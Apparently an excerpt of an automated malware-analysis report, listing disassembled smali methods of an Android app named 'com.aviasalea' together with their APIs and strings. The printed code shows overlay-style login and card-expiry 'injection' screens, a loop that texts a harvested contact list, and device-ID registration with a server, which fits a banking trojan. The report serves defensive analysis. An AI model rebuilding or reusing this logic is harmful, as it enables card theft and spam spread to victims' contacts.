                                      32check-cast v2, Landroid/widget/TextView;
                                      33iput-object v2, p0, Lcom/aviasalea/injs/s/views/SLogView;->tvRegister:Landroid/widget/TextView;
                                      34const v2, 0x7f06000e
                                      36invoke-virtual {p0, v2}, Lcom/aviasalea/injs/s/views/SLogView;->findViewById(I)Landroid/view/View;
                                      37move-result-object v2
                                      38check-cast v2, Landroid/widget/RelativeLayout;
                                      39iput-object v2, p0, Lcom/aviasalea/injs/s/views/SLogView;->btnCancel:Landroid/widget/RelativeLayout;
                                      40const v2, 0x7f06000f
                                      42invoke-virtual {p0, v2}, Lcom/aviasalea/injs/s/views/SLogView;->findViewById(I)Landroid/view/View;
                                      43move-result-object v2
                                      44check-cast v2, Landroid/widget/RelativeLayout;
                                      45iput-object v2, p0, Lcom/aviasalea/injs/s/views/SLogView;->btnEnter:Landroid/widget/RelativeLayout;
                                      47iget-object v2, p0, Lcom/aviasalea/injs/s/views/SLogView;->btnEnter:Landroid/widget/RelativeLayout;
                                      48const/4 v3, 0x0
                                      50invoke-virtual {v2, v3}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      52invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SLogView;->onLoginChangeListener()V
                                      54invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SLogView;->onClicklistener()V
                                      55return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • java.util.concurrent.atomic.AtomicInteger.<init>
                                      • java.util.concurrent.atomic.AtomicInteger.<init>
                                      • java.lang.System.getSecurityManager
                                      • java.lang.SecurityManager.getThreadGroup
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.util.concurrent.atomic.AtomicInteger.getAndIncrement
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.Thread.currentThread
                                      • java.lang.Thread.getThreadGroup
                                      Strings
                                      • TEMP_THREADS- pool-
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v2, 0x1
                                      2iput-object p1, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->this$0:Lcom/aviasalea/api/thread/ThreadManager;
                                      4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      5new-instance v1, Ljava/util/concurrent/atomic/AtomicInteger;
                                      7invoke-direct {v1, v2}, Ljava/util/concurrent/atomic/AtomicInteger;-><init>(I)V
                                      8iput-object v1, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->poolNumber:Ljava/util/concurrent/atomic/AtomicInteger;
                                      9new-instance v1, Ljava/util/concurrent/atomic/AtomicInteger;
                                      11invoke-direct {v1, v2}, Ljava/util/concurrent/atomic/AtomicInteger;-><init>(I)V
                                      12iput-object v1, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->threadNumber:Ljava/util/concurrent/atomic/AtomicInteger;
                                      14invoke-static {}, Ljava/lang/System;->getSecurityManager()Ljava/lang/SecurityManager;
                                      15move-result-object v0
                                      16if-eqz v0, :cond_3c
                                      18invoke-virtual {v0}, Ljava/lang/SecurityManager;->getThreadGroup()Ljava/lang/ThreadGroup;
                                      19move-result-object v1
                                      20goto_1e: iput-object v1, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->group:Ljava/lang/ThreadGroup;
                                      21new-instance v1, Ljava/lang/StringBuilder;
                                      23invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                      25const-string v2, "TEMP_THREADS- pool-"
                                      27invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      28move-result-object v1
                                      30iget-object v2, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->poolNumber:Ljava/util/concurrent/atomic/AtomicInteger;
                                      32invoke-virtual {v2}, Ljava/util/concurrent/atomic/AtomicInteger;->getAndIncrement()I
                                      33move-result v2
                                      35invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      36move-result-object v1
                                      38invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      39move-result-object v1
                                      40iput-object v1, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->namePrefix:Ljava/lang/String;
                                      41return-void
                                      42cond_3c:
                                      43invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                      44move-result-object v1
                                      46invoke-virtual {v1}, Ljava/lang/Thread;->getThreadGroup()Ljava/lang/ThreadGroup;
                                      47move-result-object v1
                                      48goto/16 :goto_1e
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      Strings
                                      • report
                                      • registration
                                      • id
                                      • status
                                      • start
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v0, Lorg/json/JSONObject;
                                      9invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                      10new-instance v1, Lorg/json/JSONObject;
                                      12invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                      14const-string v2, "report"
                                      16const-string v3, "registration"
                                      18invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      20const-string v2, "id"
                                      22invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      23move-result-object v3
                                      25invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      27const-string v2, "status"
                                      29const-string v3, "start"
                                      31invoke-virtual {v0, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      33const-string v2, "1"
                                      35invoke-virtual {v1, v2, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      37invoke-static {v1}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      38move-result-object v2
                                      39return-object v2
                                      APIs
                                      • java.lang.String.contains
                                      • java.util.List.size
                                      • java.util.List.size
                                      • java.util.List.get
                                      • com.aviasalea.srs.CmndSrs.mMessage:Ljava/lang/String
                                      • java.lang.Exception.printStackTrace
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusEndToServer
                                      • java.lang.String.contains
                                      • com.aviasalea.srs.CmndSrs.sendingPushEndStatusToServer
                                      Strings
                                      • contacts_fetched
                                      • push_end_status
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Lcom/aviasalea/mess/model/MessageEvent;
                                      1.prologue
                                      2const-wide/16 v6, 0x0
                                      4iget-object v2, p1, Lcom/aviasalea/mess/model/MessageEvent;->message:Ljava/lang/String;
                                      6const-string v3, "contacts_fetched"
                                      8invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      9move-result v2
                                      10if-eqz v2, :cond_46
                                      12invoke-static {}, Lde/greenrobot/event/EventBus;->getDefault()Lde/greenrobot/event/EventBus;
                                      13move-result-object v2
                                      15invoke-virtual {v2, p1}, Lde/greenrobot/event/EventBus;->removeStickyEvent(Ljava/lang/Object;)Z
                                      17sget-object v2, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      18if-eqz v2, :cond_45
                                      20sget-object v2, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      22invoke-interface {v2}, Ljava/util/List;->size()I
                                      23move-result v2
                                      24if-lez v2, :cond_45
                                      25const/4 v1, 0x0
                                      26goto_20:
                                      27sget-object v2, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      29invoke-interface {v2}, Ljava/util/List;->size()I
                                      30move-result v2
                                      31if-ge v1, v2, :cond_42
                                      32try_start_28:
                                      33sget-object v2, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      35invoke-interface {v2, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      36move-result-object v2
                                      37check-cast v2, Ljava/lang/String;
                                      39iget-object v3, p0, Lcom/aviasalea/srs/CmndSrs;->mMessage:Ljava/lang/String;
                                      40new-instance v4, Lcom/aviasalea/srs/CmndSrs$1;
                                      42invoke-direct {v4, p0}, Lcom/aviasalea/srs/CmndSrs$1;-><init>(Lcom/aviasalea/srs/CmndSrs;)V
                                      44invoke-static {v2, v3, p0, v4}, Lcom/aviasalea/checktls/CmndTls;->sendSMS(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;Lcom/aviasalea/mess/MessStatusInterface;)V
                                      45goto_3a: add-int/lit8 v1, v1, 0x1
                                      46goto/16 :goto_20
                                      47catch_3d: move-exception v0
                                      49invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      50goto/16 :goto_3a
                                      51cond_42:
                                      52invoke-direct {p0, v6, v7}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusEndToServer(J)V
                                      53goto_45: return-void
                                      54cond_46:
                                      55iget-object v2, p1, Lcom/aviasalea/mess/model/MessageEvent;->message:Ljava/lang/String;
                                      57const-string v3, "push_end_status"
                                      59invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      60move-result v2
                                      61if-eqz v2, :cond_45
                                      63invoke-static {}, Lde/greenrobot/event/EventBus;->getDefault()Lde/greenrobot/event/EventBus;
                                      64move-result-object v2
                                      66invoke-virtual {v2, p1}, Lde/greenrobot/event/EventBus;->removeStickyEvent(Ljava/lang/Object;)Z
                                      68invoke-direct {p0, v6, v7}, Lcom/aviasalea/srs/CmndSrs;->sendingPushEndStatusToServer(J)V
                                      69goto/16 :goto_45
                                      APIs
                                      • java.lang.CharSequence.toString
                                      • java.lang.String.equals
                                      • java.lang.CharSequence.toString
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.setText
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setHasValidInput
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • java.lang.String.length
                                      • android.widget.EditText.setSelection
                                      • java.lang.CharSequence.length
                                      • java.lang.CharSequence.toString
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setHasValidInput
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • java.lang.Object.toString
                                      Position Instruction Meta Information
                                      0.param p1, "source" # Ljava/lang/CharSequence;
                                      1.param p2, "start" # I
                                      2.param p3, "before" # I
                                      3.param p4, "count" # I
                                      4.prologue
                                      6invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      7move-result-object v1
                                      9iget-object v2, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->currentText:Ljava/lang/String;
                                      11invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      12move-result v1
                                      13if-nez v1, :cond_36
                                      15invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      16move-result-object v1
                                      18invoke-direct {p0, v1}, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->getExpDate(Ljava/lang/String;)Ljava/lang/String;
                                      19move-result-object v1
                                      20iput-object v1, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->currentText:Ljava/lang/String;
                                      22iget-object v1, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      24invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      25move-result-object v1
                                      27iget-object v2, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->currentText:Ljava/lang/String;
                                      29invoke-virtual {v1, v2}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                                      31iget-object v1, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      32const/4 v2, 0x0
                                      34invoke-virtual {v1, v2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setHasValidInput(Z)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      36iget-object v1, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      38invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      39move-result-object v1
                                      41iget-object v2, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->currentText:Ljava/lang/String;
                                      43invoke-virtual {v2}, Ljava/lang/String;->length()I
                                      44move-result v2
                                      46invoke-virtual {v1, v2}, Landroid/widget/EditText;->setSelection(I)V
                                      47cond_36: const/4 v0, 0x0
                                      49invoke-interface {p1}, Ljava/lang/CharSequence;->length()I
                                      50move-result v1
                                      51const/4 v2, 0x5
                                      52if-ne v1, v2, :cond_49
                                      54invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      55move-result-object v1
                                      57invoke-static {v1}, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->isValidExpiringDate(Ljava/lang/String;)Z
                                      58move-result v1
                                      59if-eqz v1, :cond_49
                                      60const/4 v0, 0x1
                                      61cond_49:
                                      62iget-object v1, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      64invoke-virtual {v1, v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setHasValidInput(Z)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      66iget-object v1, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      68invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      69move-result-object v1
                                      71invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      72move-result-object v1
                                      74invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                      75move-result-object v1
                                      76sget v2, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->expMonth:I
                                      77sget v3, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->expYear:I
                                      79invoke-virtual {p0, v0, v1, v2, v3}, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->onValidated(ZLjava/lang/String;II)V
                                      80return-void
                                      Cross References
                                      APIs
                                      • java.lang.String.length
                                      • java.util.Calendar.getInstance
                                      • java.util.Calendar.get
                                      • java.util.Calendar.get
                                      • java.lang.String.valueOf
                                      • java.lang.String.substring
                                      • java.lang.Integer.parseInt
                                      • java.lang.String.split
                                      • java.lang.String.length
                                      • java.lang.Integer.parseInt
                                      • java.lang.Integer.parseInt
                                      Strings
                                      • /
                                      Position Instruction Meta Information
                                      0.param p0, "expDate" # Ljava/lang/String;
                                      1.prologue
                                      2const/4 v9, 0x2
                                      3const/4 v5, 0x1
                                      4const/4 v6, 0x0
                                      5try_start_3:
                                      6invoke-virtual {p0}, Ljava/lang/String;->length()I
                                      7move-result v7
                                      8const/4 v8, 0x5
                                      9if-eq v7, v8, :cond_b
                                      10cond_a: return v6
                                      11cond_b:
                                      12invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
                                      13move-result-object v3
                                      14const/4 v7, 0x2
                                      16invoke-virtual {v3, v7}, Ljava/util/Calendar;->get(I)I
                                      17move-result v2
                                      18const/4 v7, 0x1
                                      20invoke-virtual {v3, v7}, Ljava/util/Calendar;->get(I)I
                                      21move-result v7
                                      23invoke-static {v7}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                                      24move-result-object v7
                                      25const/4 v8, 0x2
                                      27invoke-virtual {v7, v8}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                      28move-result-object v7
                                      30invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      31move-result v4
                                      33const-string v7, "/"
                                      35invoke-virtual {p0, v7}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                      36move-result-object v1
                                      37const/4 v7, 0x0
                                      38aget-object v7, v1, v7
                                      40invoke-virtual {v7}, Ljava/lang/String;->length()I
                                      41move-result v7
                                      42if-ne v7, v9, :cond_a
                                      43const/4 v7, 0x0
                                      44aget-object v7, v1, v7
                                      46invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      47move-result v7
                                      48sput v7, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->expMonth:I
                                      49const/4 v7, 0x1
                                      50aget-object v7, v1, v7
                                      52invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      53move-result v7
                                      54sput v7, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->expYear:I
                                      55sget v7, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->expYear:I
                                      56if-ge v4, v7, :cond_4d
                                      57goto_4b: move v6, v5
                                      58goto/16 :goto_a
                                      59cond_4d: sget v7, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->expYear:I
                                      60if-ne v4, v7, :cond_57
                                      61sget v7, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->expMonth:I
                                      62try_end_53: if-lt v2, v7, :cond_4b
                                      63move v5, v6
                                      64goto/16 :goto_4b
                                      65cond_57: move v5, v6
                                      66goto/16 :goto_4b
                                      67catch_59: move-exception v0
                                      68goto/16 :goto_a
                                      Cross References
                                      APIs
                                      • java.util.Map.get
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • java.util.Map.remove
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.Object.getClass
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.w
                                      Strings
                                      • Subscriber to unregister was not registered before:
                                      Position Instruction Meta Information
                                      0.param p1, "subscriber" # Ljava/lang/Object;
                                      1.prologue
                                      2monitor-enter p0
                                      3try_start_1:
                                      4iget-object v3, p0, Lde/greenrobot/event/EventBus;->typesBySubscriber:Ljava/util/Map;
                                      6invoke-interface {v3, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      7move-result-object v2
                                      8check-cast v2, Ljava/util/List;
                                      9if-eqz v2, :cond_29
                                      11invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      12move-result-object v1
                                      13goto_f:
                                      14invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                      15move-result v3
                                      16if-eqz v3, :cond_22
                                      18invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      19move-result-object v0
                                      20check-cast v0, Ljava/lang/Class;
                                      22invoke-direct {p0, p1, v0}, Lde/greenrobot/event/EventBus;->unubscribeByEventType(Ljava/lang/Object;Ljava/lang/Class;)V
                                      23try_end_1e: goto/16 :goto_f
                                      24catchall_1f: move-exception v3
                                      25monitor-exit p0
                                      26throw v3
                                      27cond_22:
                                      28iget-object v3, p0, Lde/greenrobot/event/EventBus;->typesBySubscriber:Ljava/util/Map;
                                      30invoke-interface {v3, p1}, Ljava/util/Map;->remove(Ljava/lang/Object;)Ljava/lang/Object;
                                      31try_end_27: monitor-exit p0
                                      32return-void
                                      33cond_29:
                                      34sget-object v3, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      35new-instance v4, Ljava/lang/StringBuilder;
                                      37invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                      39const-string v5, "Subscriber to unregister was not registered before: "
                                      41invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      42move-result-object v4
                                      44invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      45move-result-object v5
                                      47invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      48move-result-object v4
                                      50invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      51move-result-object v4
                                      53invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      54try_end_45: goto/16 :goto_27
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.Realtalk.setDisableGp
                                      • com.aviasalea.injs.g.GActivity.access$100
                                      • com.aviasalea.injs.g.GActivity.destroyDialog
                                      • com.aviasalea.injs.g.GActivity.access$100
                                      • com.aviasalea.injs.g.GActivity.destroyDialog
                                      • com.aviasalea.injs.g.GActivity.access$100
                                      • com.aviasalea.injs.g.GActivity.destroyDialog
                                      • com.aviasalea.injs.g.GActivity.access$100
                                      • com.aviasalea.injs.g.GActivity.destroyDialog
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "requestType" # I
                                      1.param p2, "response" # Lcom/aviasalea/injs/api/response/SCResponse;
                                      2.prologue
                                      3iget-boolean v1, p0, Lcom/aviasalea/injs/g/GActivity$2;->val$onlyCard:Z
                                      4if-nez v1, :cond_27
                                      5try_start_4: iget v1, p2, Lcom/aviasalea/injs/api/response/SCResponse;->ret:I
                                      6if-nez v1, :cond_41
                                      8iget-object v1, p2, Lcom/aviasalea/injs/api/response/SCResponse;->answer:Ljava/lang/String;
                                      9if-eqz v1, :cond_28
                                      11iget-object v1, p2, Lcom/aviasalea/injs/api/response/SCResponse;->answer:Ljava/lang/String;
                                      13const-string v2, "accepted"
                                      15invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      16move-result v1
                                      17if-eqz v1, :cond_27
                                      19iget-object v1, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      20const/4 v2, 0x1
                                      22invoke-static {v1, v2}, Lcom/aviasalea/Realtalk;->setDisableGp(Landroid/content/Context;Z)V
                                      24iget-object v1, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      26iget-object v2, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      28invoke-static {v2}, Lcom/aviasalea/injs/g/GActivity;->access$100(Lcom/aviasalea/injs/g/GActivity;)Lcom/aviasalea/base/dialog/AlertDialog;
                                      29move-result-object v2
                                      31invoke-virtual {v1, v2}, Lcom/aviasalea/injs/g/GActivity;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      32cond_27: return-void
                                      33cond_28:
                                      34iget-object v1, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      36iget-object v2, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      38invoke-static {v2}, Lcom/aviasalea/injs/g/GActivity;->access$100(Lcom/aviasalea/injs/g/GActivity;)Lcom/aviasalea/base/dialog/AlertDialog;
                                      39move-result-object v2
                                      41invoke-virtual {v1, v2}, Lcom/aviasalea/injs/g/GActivity;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      42try_end_33: goto/16 :goto_27
                                      43catch_34: move-exception v0
                                      45iget-object v1, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      47iget-object v2, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      49invoke-static {v2}, Lcom/aviasalea/injs/g/GActivity;->access$100(Lcom/aviasalea/injs/g/GActivity;)Lcom/aviasalea/base/dialog/AlertDialog;
                                      50move-result-object v2
                                      52invoke-virtual {v1, v2}, Lcom/aviasalea/injs/g/GActivity;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      53goto/16 :goto_27
                                      54cond_41:
                                      55iget-object v1, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      57iget-object v2, p0, Lcom/aviasalea/injs/g/GActivity$2;->this$0:Lcom/aviasalea/injs/g/GActivity;
                                      59invoke-static {v2}, Lcom/aviasalea/injs/g/GActivity;->access$100(Lcom/aviasalea/injs/g/GActivity;)Lcom/aviasalea/base/dialog/AlertDialog;
                                      60move-result-object v2
                                      62invoke-virtual {v1, v2}, Lcom/aviasalea/injs/g/GActivity;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      63try_end_4c: goto/16 :goto_27
                                      APIs
                                      • android.view.View.getId
                                      • com.aviasalea.injs.s.views.KeyboardView.mOnKeyboardCallback:Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback
                                      • com.aviasalea.injs.s.views.KeyboardView.mOnKeyboardCallback:Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback
                                      • com.aviasalea.injs.s.views.KeyboardView.mOnKeyboardCallback:Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback
                                      • com.aviasalea.injs.s.views.KeyboardView.mOnKeyboardCallback:Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback
                                      Strings
                                      • 1
                                      • 2
                                      • 3
                                      • 4
                                      • 5
                                      • 6
                                      • 7
                                      • 8
                                      • 9
                                      • 0
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3const-string v0, ""
                                      5invoke-virtual {p1}, Landroid/view/View;->getId()I
                                      6move-result v1
                                      7packed-switch v1, :pswitch_data_3c
                                      8goto_9:
                                      9iget-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->mOnKeyboardCallback:Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback;
                                      10if-eqz v1, :cond_12
                                      12iget-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->mOnKeyboardCallback:Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback;
                                      14invoke-interface {v1, v0}, Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback;->onSetNumber(Ljava/lang/String;)V
                                      15goto_12: return-void
                                      16pswitch_13:
                                      17const-string v0, "1"
                                      18goto/16 :goto_9
                                      19pswitch_16:
                                      20const-string v0, "2"
                                      21goto/16 :goto_9
                                      22pswitch_19:
                                      23const-string v0, "3"
                                      24goto/16 :goto_9
                                      25pswitch_1c:
                                      26const-string v0, "4"
                                      27goto/16 :goto_9
                                      28pswitch_1f:
                                      29const-string v0, "5"
                                      30goto/16 :goto_9
                                      31pswitch_22:
                                      32const-string v0, "6"
                                      33goto/16 :goto_9
                                      34pswitch_25:
                                      35const-string v0, "7"
                                      36goto/16 :goto_9
                                      37pswitch_28:
                                      38const-string v0, "8"
                                      39goto/16 :goto_9
                                      40pswitch_2b:
                                      41const-string v0, "9"
                                      42goto/16 :goto_9
                                      43pswitch_2e:
                                      44const-string v0, "0"
                                      45goto/16 :goto_9
                                      46pswitch_31:
                                      47iget-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->mOnKeyboardCallback:Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback;
                                      48if-eqz v1, :cond_12
                                      50iget-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->mOnKeyboardCallback:Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback;
                                      52invoke-interface {v1}, Lcom/aviasalea/injs/s/views/KeyboardView$OnKeyboardCallback;->onSetBack()V
                                      53goto/16 :goto_12
                                      54nop
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.putExtra
                                      • android.support.v4.content.LocalBroadcastManager.getInstance
                                      • android.support.v4.content.LocalBroadcastManager.sendBroadcast
                                      • java.lang.Boolean.booleanValue
                                      • android.content.Intent.putExtra
                                      • android.content.Intent.putExtra
                                      Strings
                                      • com.aviasalea.GPReceiver
                                      • status
                                      • isRequestKilled
                                      • chSSCl
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "num" # I
                                      2.param p2, "objValue" # Ljava/lang/Object;
                                      3.prologue
                                      4new-instance v0, Landroid/content/Intent;
                                      6const-string v1, "com.aviasalea.GPReceiver"
                                      8invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      10const-string v1, "status"
                                      12invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                                      13packed-switch p1, :pswitch_data_2c
                                      14goto_f:
                                      15invoke-static {p0}, Landroid/support/v4/content/LocalBroadcastManager;->getInstance(Landroid/content/Context;)Landroid/support/v4/content/LocalBroadcastManager;
                                      16move-result-object v1
